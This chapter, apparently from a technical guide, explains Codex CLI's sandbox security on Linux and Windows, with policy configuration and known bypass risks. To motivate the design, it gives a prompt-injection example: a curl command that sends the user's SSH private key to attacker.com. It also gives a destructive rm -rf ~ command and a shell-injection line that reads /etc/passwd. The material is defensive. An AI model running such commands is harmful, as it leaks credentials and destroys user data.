Codex · EN · Part 3

Ch 11 Sandbox Security

11-ch-11-Sandbox-Security.md

第11章 Sandbox Security

An AI agent that can execute arbitrary commands is powerful – and dangerous. When Codex CLI runs rm -rf node_modules to clean your dependencies, that's helpful. But if a prompt injection attack tricks it into rm -rf ~, that's catastrophic. This chapter explores how Codex CLI's sandbox architecture secures local execution while preserving the utility that makes AI agents valuable.

Why Sandbox?

The threat model for an AI coding agent is unique in cybersecurity. Unlike traditional privilege escalation attacks where an adversary probes for vulnerabilities, here the "adversary" is the AI itself – operating within the trust boundary you've explicitly granted it. The risks manifest when:

  1. Prompt injection compromises the context, causing the AI to interpret malicious instructions as legitimate tasks
  2. Hallucination leads the AI to construct commands that sound correct but have destructive effects
  3. Tool misuse occurs when otherwise-safe tools are chained together in unintended ways

Consider a real scenario: an AI agent analyzing a codebase receives a prompt injection via a malicious comment in a source file. Without sandboxing, that injection could execute curl http://attacker.com/steal?data=$(cat ~/.ssh/id_rsa) – exfiltrating your SSH keys. With sandboxing, the network access would be blocked, and even a successful exfiltration attempt would be confined.

⚠️ 避坑指南: The sandbox is a defense-in-depth mechanism, not a complete security solution. It cannot protect against attacks that don't require system calls, such as side-channel attacks through resource monitoring or timing attacks on shared caches.

Sandboxing provides three critical benefits:

Isolation confines the blast radius. When something goes wrong, the damage is limited to the sandboxed environment rather than your entire system.

Auditable boundaries make security decisions explicit. Every file access, network connection, or privileged operation must pass through a policy checkpoint you control.

Reversible operations become possible when the sandbox can snapshot state before potentially destructive actions, enabling rollback capabilities.

The balance between security and utility is delicate. An overly restrictive sandbox renders the AI agent useless – it can't read your code, run tests, or install dependencies. An overly permissive sandbox exposes you to the very risks you're trying to mitigate. Codex CLI's approach is policy-driven: you declare what operations should be allowed, and the sandbox enforces those constraints at the kernel level.

Linux Sandbox Implementation

Linux provides the most sophisticated sandboxing primitives in common use, and Codex CLI leverages them in a multi-layered defense. The architecture coordinates four distinct mechanisms:

Rendering diagram...

Bubblewrap Namespaces

Bubblewrap (bwrap) is the first line of defense, creating Linux namespaces that isolate the process from the host system. Codex vendors bubblewrap to ensure consistent behavior across distributions, avoiding version discrepancies that could affect security guarantees.

When a command executes under bubblewrap, Codex constructs a series of bind mounts that create a custom filesystem view. Here's how create_filesystem_args() builds this view:

// codex-rs/linux-sandbox/src/bwrap.rs:149
fn create_filesystem_args(
    file_system_sandbox_policy: &FileSystemSandboxPolicy,
    cwd: &Path,
) -> Result<BwrapArgs> {
    let writable_roots = file_system_sandbox_policy
        .get_writable_roots_with_cwd(cwd)
        .into_iter()
        .filter(|writable_root| writable_root.root.as_path().exists())
        .collect::<Vec<_>>();
    
    let mut args = if file_system_sandbox_policy.has_full_disk_read_access() {
        // Read-only root with minimal device tree
        vec![
            "--ro-bind", "/", "/",
            "--dev", "/dev",
        ]
    } else {
        // Empty filesystem with scoped read-only mounts
        vec![
            "--tmpfs", "/",
            "--dev", "/dev",
        ]
    };
    // ... bind writable roots with read-only carveouts
}

The mount order is critical and represents years of iteration on sandbox escape vectors:

  1. Baseline filesystem – either --ro-bind / / for read-only access or --tmpfs / for minimal access
  2. Device tree – --dev /dev creates minimal device nodes (/dev/null, /dev/urandom, etc.)
  3. Writable roots – --bind <root> <root> re-enables writes for specific directories
  4. Protected subpaths – --ro-bind <subpath> <subpath> reapplies read-only protection under writable roots
  5. Unreadable paths – --tmpfs <path> followed by --remount-ro <path> blocks access entirely

🤿 深入底层: Bubblewrap uses unshare() system calls to create new namespaces for mount (filesystem view), PID (process isolation), network (network isolation), and user (UID/GID mapping). The --unshare-user flag is particularly important because it allows the sandbox to run without ambient CAP_SYS_ADMIN, meaning processes inside cannot create new namespaces even if they gain root access.

Landlock Filesystem Controls

While bubblewrap establishes the initial filesystem view, Landlock provides runtime enforcement that survives even if a process manages to escape the namespace. Landlock is a Linux security module (LSM) that restricts filesystem operations based on a policy applied to the current thread.

Codex's Landlock integration is in landlock.rs, which applies rules after bubblewrap has constructed the filesystem:

// codex-rs/linux-sandbox/src/landlock.rs:21
pub fn apply_sandbox_policy_to_current_thread(
    sandbox_policy: &SandboxPolicy,
    network_sandbox_policy: NetworkSandboxPolicy,
    sandbox_policy_cwd: &Path,
    apply_landlock_fs: bool,
    allow_network_for_proxy: bool,
    proxy_routed_network: bool,
) -> Result<()> {
    // Apply seccomp for syscall filtering
    apply_seccomp_filter(
        sandbox_policy,
        network_sandbox_policy,
        allow_network_for_proxy,
        proxy_routed_network,
    )?;
    
    // Apply Landlock for filesystem restrictions
    if apply_landlock_fs {
        apply_landlock_rules(sandbox_policy, sandbox_policy_cwd)?;
    }
    
    // Set no_new_privs to prevent privilege escalation
    unsafe { libc::prctl(libc::PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) };
    
    Ok(())
}

Landlock is particularly effective against TOCTOU (time-of-check to time-of-use) attacks. Without Landlock, an attacker could race between the policy check and the actual operation, replacing a file with a symlink after the check but before the open. Landlock binds the policy to the process itself, so the check and operation happen atomically from the kernel's perspective.

Seccomp Syscall Filter

The seccomp (secure computing mode) filter restricts which system calls a process can make. This is a powerful defense because even if an attacker achieves arbitrary code execution within the sandbox, they're limited to a minimal subset of syscalls.

Codex's seccomp filter is compiled using the seccompiler library and targets a whitelist of allowed operations:

// codex-rs/linux-sandbox/src/landlock.rs:91
fn apply_seccomp_filter(
    sandbox_policy: &SandboxPolicy,
    network_sandbox_policy: NetworkSandboxPolicy,
    allow_network_for_proxy: bool,
    proxy_routed_network: bool,
) -> Result<()> {
    let network_filter = if allow_network_for_proxy {
        SeccompNetworkFilter::ProxyOnly
    } else if network_sandbox_policy.is_enabled() {
        SeccompNetworkFilter::FullAccess
    } else {
        SeccompNetworkFilter::Isolated
    };
    
    let filter = create_seccomp_filter(network_filter)?;
    filter.apply()?;
    Ok(())
}

The seccomp filter blocks entire classes of dangerous syscalls:

  • Process manipulation – ptrace, kexec_load, process_vm_writev
  • Kernel modification – reboot, settimeofday, stime
  • Hardware access – iopl, ioperm, init_module
  • Network operations – when network isolation is requested

Multi-layered Sandbox

The true power of Codex's Linux sandbox comes from the defense-in-depth approach. Each layer addresses different attack vectors:

LayerPrimary Threat MitigatedEscape Difficulty
bubblewrap namespacesFilesystem access, process isolationMedium – requires kernel vulnerability
LandlockTOCTOU races, symlink attacksHard – requires LSM bypass
seccompPrivilege escalation, kernel accessVery Hard – requires syscall whitelist violation
no_new_privssetuid binaries, capability escalationImpossible by design

When you run a command in Codex CLI on Linux, it passes through all these layers in sequence. Even if a zero-day vulnerability in bubblewrap allows namespace escape, Landlock and seccomp remain in effect. Even if Landlock is bypassed, seccomp blocks the necessary syscalls. This layered approach is why security researchers call this "defense in depth" – the failure of one control doesn't compromise the entire system.

Windows Sandbox Implementation

Windows lacks namespaces and Landlock, but provides its own sandboxing primitives. Codex's Windows sandbox uses job objects and restricted tokens to achieve similar isolation guarantees, though the implementation differs significantly from Linux.

Job Objects

A job object is a Windows kernel object that groups processes for resource management and isolation. When Codex spawns a sandboxed process on Windows, it creates a job object with strict limits:

// codex-rs/windows-sandbox-rs/src/process.rs:71
pub fn create_process_as_user(
    h_token: HANDLE,
    command: &[String],
    cwd: &Path,
    env_map: &HashMap<String, String>,
    logs_base_dir: Option<&Path>,
    stdio_handles: Option<(HANDLE, HANDLE, HANDLE)>,
    use_private_desktop: bool,
) -> Result<CreatedProcess> {
    let mut startup_info = initialize_startup_info(stdio_handles, use_private_desktop)?;
    let mut process_info = std::mem::zeroed();
    
    unsafe {
        let success = CreateProcessAsUserW(
            h_token,
            null(),
            command_line.as_mut_ptr(),
            null(),
            null(),
            false, // inherit handles
            CREATE_UNICODE_ENVIRONMENT | CREATE_NO_WINDOW,
            environment_block.as_ptr(),
            cwd_wide.as_ptr(),
            &startup_info,
            &mut process_info,
        );
    }
    
    // Process is created; job object limits apply automatically
}

Job objects enforce several critical restrictions:

  • Breakaway limitation – processes cannot escape the job object
  • Active process limit – restricts the number of child processes
  • Job memory limit – prevents memory exhaustion attacks
  • Priority class – prevents sandboxed processes from gaining CPU priority

Restricted Tokens

Windows access tokens represent a user's security context. Codex creates restricted tokens that strip dangerous privileges:

// codex-rs/windows-sandbox-rs/src/token.rs:141
pub fn create_workspace_write_token_with_caps_from(
    h_base_token: HANDLE,
    caps_sids: &[*mut c_void],
) -> Result<HANDLE> {
    unsafe {
        let mut h_new_token: HANDLE = 0;
        let success = DuplicateTokenEx(
            h_base_token,
            TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
            std::ptr::null_mut(),
            SecurityIdentification,
            TokenPrimary,
            &mut h_new_token,
        );
        
        // Create restricted token
        let success = CreateRestrictedToken(
            h_new_token,
            DISABLE_MAX_PRIVILEGE,
            0,
            std::ptr::null_mut(),
            0,
            std::ptr::null_mut(),
            caps_sids.len() as u32,
            caps_sids.as_ptr(),
        );
        
        Ok(h_new_token)
    }
}

The restricted token removes privileges like SE_DEBUG_NAME (attach to any process), SE_LOAD_DRIVER_NAME (load kernel drivers), and SE_TCB_NAME (act as part of the trusted computing base). Even if code inside the sandbox attempts to use these privileges, the token simply doesn't have them.

Process Isolation

Windows sandbox isolation happens through a combination of techniques:

  1. Low integrity level – processes run at a lower integrity level than user files, preventing modification
  2. Desktop separation – optionally runs in a private desktop to prevent UI attacks
  3. Window station isolation – separates the sandbox's window station from the interactive session
// codex-rs/windows-sandbox-rs/src/desktop.rs:47
pub fn create_private_desktop() -> Result<DesktopGuard> {
    let wide_name = to_wide(&generate_desktop_name());
    
    unsafe {
        let hdesk = CreateDesktopW(
            wide_name.as_ptr(),
            null(),
            null(),
            0,
            GENERIC_READ | GENERIC_WRITE | DESKTOP_CREATEWINDOW | DESKTOP_HOOKCONTROL,
            null(),
        );
        
        if hdesk == 0 {
            return Err(last_error!("CreateDesktopW failed"));
        }
        
        // Set this desktop as the current desktop for the calling thread
        if SetThreadDesktop(hdesk) == 0 {
            let err = last_error!("SetThreadDesktop failed");
            CloseDesktop(hdesk);
            return Err(err);
        }
        
        Ok(DesktopGuard { hdesk })
    }
}

Windows vs Linux Differences

The Windows sandbox achieves similar security goals through different mechanisms:

AspectLinuxWindows
Filesystem isolationNamespaces + bind mountsAccess Control Lists (ACLs)
Process isolationPID namespaceJob objects
Network isolationNetwork namespaceFirewall rules + token restrictions
Privilege restrictionno_new_privs + capabilitiesRestricted tokens
** syscall filtering**seccompJob object object limits

The Linux implementation is generally more granular – seccomp can filter individual syscalls, while Windows can only filter at the API level. However, Windows ACLs provide path-based access control that's easier to reason about than Landlock's hierarchical rules.

Security Policies

All sandbox mechanisms are driven by security policies that declare what operations are permitted. Codex's policy system has evolved from a single SandboxPolicy enum to a split FileSystemSandboxPolicy and NetworkSandboxPolicy design, enabling more precise control.

Directory Policies

Filesystem policies specify which directories can be read, written, or blocked entirely. The policy resolution happens in policy_transforms.rs:

// codex-rs/sandboxing/src/policy_transforms.rs:275
pub fn effective_file_system_sandbox_policy(
    file_system_policy: &FileSystemSandboxPolicy,
    additional_permissions: Option<&PermissionProfile>,
) -> FileSystemSandboxPolicy {
    let Some(additional_permissions) = additional_permissions else {
        return file_system_policy.clone();
    };
    
    let (extra_reads, extra_writes) = additional_permission_roots(additional_permissions);
    if extra_reads.is_empty() && extra_writes.is_empty() {
        file_system_policy.clone()
    } else {
        merge_file_system_policy_with_additional_permissions(
            file_system_policy,
            extra_reads,
            extra_writes,
        )
    }
}

The policy supports several special path tokens that expand to concrete directories:

TokenExpansionUse Case
:rootFilesystem root (/ or C:\)Grant full read access
:minimalPlatform defaults (binaries, libraries)Allow basic command execution
:cwdCurrent working directoryWorkspace access
:project-rootsDetected project rootsMulti-repo workflows
:tmpdir$TMPDIR environment variableTemporary file storage
:/tmp/tmp explicitlyUnix temp directory

Network Policies

Network policies control outbound connectivity with two modes:

// codex-rs/protocol/src/permissions.rs:25
#[derive(
    Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Display, Default,
)]
#[serde(rename_all = "kebab-case")]
pub enum NetworkSandboxPolicy {
    #[default]
    Restricted,  // No network access
    Enabled,     // Full network access
}

When network access is restricted, the Linux sandbox uses --unshare-net to create a new network namespace with no connectivity. On Windows, Codex modifies environment variables (HTTP_PROXY, HTTPS_PROXY) to point at an invalid address, causing network operations to fail.

Command Policies

Commands themselves can be subject to policy decisions through the approval workflow. The execpolicy crate defines when commands require user consent:

// codex-rs/core/src/exec_policy.rs:32
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
#[serde(rename_all = "kebab-case")]
pub enum AskForApproval {
    Always,        // Prompt for every command
    Never,         // Auto-approve all commands
    Interactive,   // Auto-approve safe commands, prompt for risky ones
}

The "risky" classification includes commands that:

  • Modify system state (rm, mv, chmod)
  • Access sensitive paths (~/.ssh, /etc)
  • Network operations (curl, wget)
  • Package managers (npm, pip, cargo)

Policy Configuration

Policies are configured through config.toml or overridden via CLI flags:

# config.toml
[sandbox]
mode = "workspace-write"  # read-only, workspace-write, or danger-full-access
writable_roots = ["/tmp"]
readable_roots = ["/usr", "/bin"]

[sandbox.network]
enabled = false

[approvals]
mode = "interactive"  # always, never, or interactive

☕ 茶水间时间: Why does Codex default to workspace-write instead of read-only? Because AI agents need to create and modify files to be useful – running tests, generating code, installing dependencies. A read-only sandbox would require approving every write operation, which gets tedious quickly. The workspace-write mode balances security (can't modify ~/.ssh) with utility (can create temporary files).

Policy Enforcement

Policy enforcement happens at multiple checkpoints during command execution:

  1. Tool registration – Tools declare their required permissions in their specs
  2. Approval request – User is prompted if the command requires approval
  3. Sandbox transformation – Command is wrapped with sandbox primitives
  4. Runtime validation – Landlock/seccomp enforce the policy during execution

The multi-stage enforcement ensures that even if one check is bypassed, others still apply. For example, even if an approval check is somehow skipped, the sandbox will still block the unauthorized file access.

WorkspaceWrite Mode

The WorkspaceWrite mode is Codex's default and deserves special attention. It provides a pragmatic balance: full read access to the filesystem (so the agent can understand your project) but write access restricted to specific directories:

// codex-rs/protocol/src/protocol.rs:835
pub fn new_workspace_write_policy() -> Self {
    SandboxPolicy::WorkspaceWrite {
        writable_roots: vec![],
        read_only_access: ReadOnlyAccess::FullAccess,
        network_access: false,
        exclude_tmpdir_env_var: false,
        exclude_slash_tmp: false,
    }
}

Protected subpaths are always read-only, even within writable roots:

  • .git/ – Prevent repository corruption
  • .codex/ – Protect Codex's own metadata
  • .agents/ – Guard agent configuration

These carveouts are applied automatically in default_read_only_subpaths_for_writable_root():

// codex-rs/protocol/src/permissions.rs:1098
fn default_read_only_subpaths_for_writable_root(
    writable_root: &AbsolutePathBuf,
    protect_missing_dot_codex: bool,
) -> Vec<AbsolutePathBuf> {
    let mut subpaths: Vec<AbsolutePathBuf> = Vec::new();
    
    let top_level_git = writable_root.join(".git").expect(".git path");
    if top_level_git.as_path().is_file() && is_git_pointer_file(&top_level_git) {
        subpaths.push(resolve_gitdir_from_file(&top_level_git)?);
    }
    subpaths.push(top_level_git);
    
    let top_level_agents = writable_root.join(".agents").expect("path");
    if top_level_agents.as_path().is_dir() {
        subpaths.push(top_level_agents);
    }
    
    let top_level_codex = writable_root.join(".codex").expect("path");
    if protect_missing_dot_codex || top_level_codex.as_path().is_dir() {
        subpaths.push(top_level_codex);
    }
    
    dedup_absolute_paths(subpaths, false)
}

Sandbox Bypass Risks

No sandbox is perfect, and responsible disclosure requires acknowledging the remaining risks. Codex's sandbox has several known attack vectors, though each requires increasingly implausible conditions.

Symlink Attacks

Symlink attacks occur when an attacker tricks the sandbox into following a malicious symlink to escape the intended filesystem boundaries. Consider this attack:

  1. User has /workspace as writable root
  2. Attacker creates /workspace/.git -> /etc as a symlink
  3. Sandbox grants write access to /workspace/.git
  4. Attacker now has write access to /etc

Codex mitigates this with symlink detection in find_symlink_in_path():

// codex-rs/linux-sandbox/src/bwrap.rs:533
fn find_symlink_in_path(target_path: &Path, allowed_write_paths: &[PathBuf]) -> Option<PathBuf> {
    let mut current = PathBuf::new();
    
    for component in target_path.components() {
        // Build path component by component
        match component {
            Component::Normal(part) => current.push(part),
            // ... handle other components
        }
        
        let metadata = std::fs::symlink_metadata(&current).ok()?;
        if metadata.file_type().is_symlink()
            && is_within_allowed_write_paths(&current, allowed_write_paths)
        {
            return Some(current);
        }
    }
    
    None
}

When a symlink inside a writable root is detected, Codex mounts /dev/null on the symlink itself, preventing the attacker from redirecting it:

// codex-rs/linux-sandbox/src/bwrap.rs:430
fn append_read_only_subpath_args(
    args: &mut Vec<String>,
    subpath: &Path,
    allowed_write_paths: &[PathBuf],
) {
    if let Some(symlink_path) = find_symlink_in_path(subpath, allowed_write_paths) {
        args.push("--ro-bind");
        args.push("/dev/null".to_string());
        args.push(path_to_string(&symlink_path));
        return;
    }
    // ... normal read-only bind
}

Shell Escape Vectors

Shell escape vectors attempt to break out of the sandboxed command by exploiting shell metacharacters or command substitution. For example:

# Intended: ls /workspace
# Attacker supplies: ls /workspace; cat /etc/passwd

Codex mitigates this through argument vector passing – commands are executed as separate argv elements rather than through shell interpretation:

// codex-rs/linux-sandbox/src/linux_run_main.rs:719
fn exec_or_panic(command: Vec<String>) -> ! {
    let c_command = CString::new(command[0].as_str()).expect("convert command");
    let c_args: Vec<CString> = command
        .iter()
        .map(|arg| CString::new(arg.as_str()).expect("convert arg"))
        .collect();
    
    let mut c_args_ptrs: Vec<*const libc::c_char> = 
        c_args.iter().map(|arg| arg.as_ptr()).collect();
    c_args_ptrs.push(std::ptr::null());
    
    unsafe {
        libc::execvp(c_command.as_ptr(), c_args_ptrs.as_ptr());
    }
    
    panic!("execvp failed");
}

By using execvp() with a properly constructed argv array, shell metacharacters in arguments are treated as literal strings rather than interpreted.

Timing Attacks

TOCTOU (time-of-check to time-of-use) attacks exploit the gap between when a policy is checked and when an operation is executed. Traditional sandboxing might:

  1. Check if /workspace/.codex is safe to write
  2. Attacker replaces /workspace/.codex with a symlink to /etc/passwd
  3. Sandbox writes to /workspace/.codex, actually writing to /etc/passwd

Landlock prevents this by binding the policy to the process itself – the check and use happen atomically from the kernel's perspective. The no_new_privs setting (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) ensures that even setuid binaries can't regain dropped privileges.

Defense-in-depth

Codex's defense-in-depth strategy means multiple independent controls must fail for a successful bypass:

// codex-rs/linux-sandbox/src/linux_run_main.rs:140
if apply_seccomp_then_exec {
    // Apply network routing if needed
    if allow_network_for_proxy {
        activate_proxy_routes_in_netns(spec)?;
    }
    
    // Apply all sandbox restrictions
    apply_sandbox_policy_to_current_thread(
        &sandbox_policy,
        network_sandbox_policy,
        &sandbox_policy_cwd,
        false,  // apply_landlock_fs
        allow_network_for_proxy,
        proxy_routing_active,
    )?;
    
    exec_or_panic(command);
}

Even if an attacker finds:

  1. A bubblewrap vulnerability that escapes the namespace → Landlock still blocks file access
  2. A Landlock bypass → seccomp still blocks the necessary syscalls
  3. A seccomp bypass → no_new_privs prevents privilege escalation

Remaining Risks

Despite these defenses, no sandbox is perfect. Known remaining risks include:

  1. Denial-of-service – The sandbox doesn't limit CPU or memory usage, so a malicious command could exhaust system resources
  2. Side-channel attacks – Resource monitoring (CPU usage, file access patterns) could leak information about the host system
  3. Kernel vulnerabilities – A zero-day in the Linux kernel itself could bypass all sandboxing mechanisms
  4. Configuration errors – Misconfigured policies (e.g., overly permissive writable_roots) can inadvertently grant access to sensitive paths

These risks are fundamental trade-offs. Completely eliminating DoS risks would require resource cgroup limits that add complexity and may break legitimate workflows. Eliminating side-channels would require techniques like constant-time execution that are impractical for general-purpose computing.

⚠️ 避坑指南: The sandbox protects against accidental damage and opportunistic attacks, not determined adversaries with kernel-level vulnerabilities. For threat models that include state-level attackers, consider running Codex in a separate VM or container with additional isolation.

Sandboxing secures local execution, but modern AI agents also need to integrate with external tools – which brings us to MCP.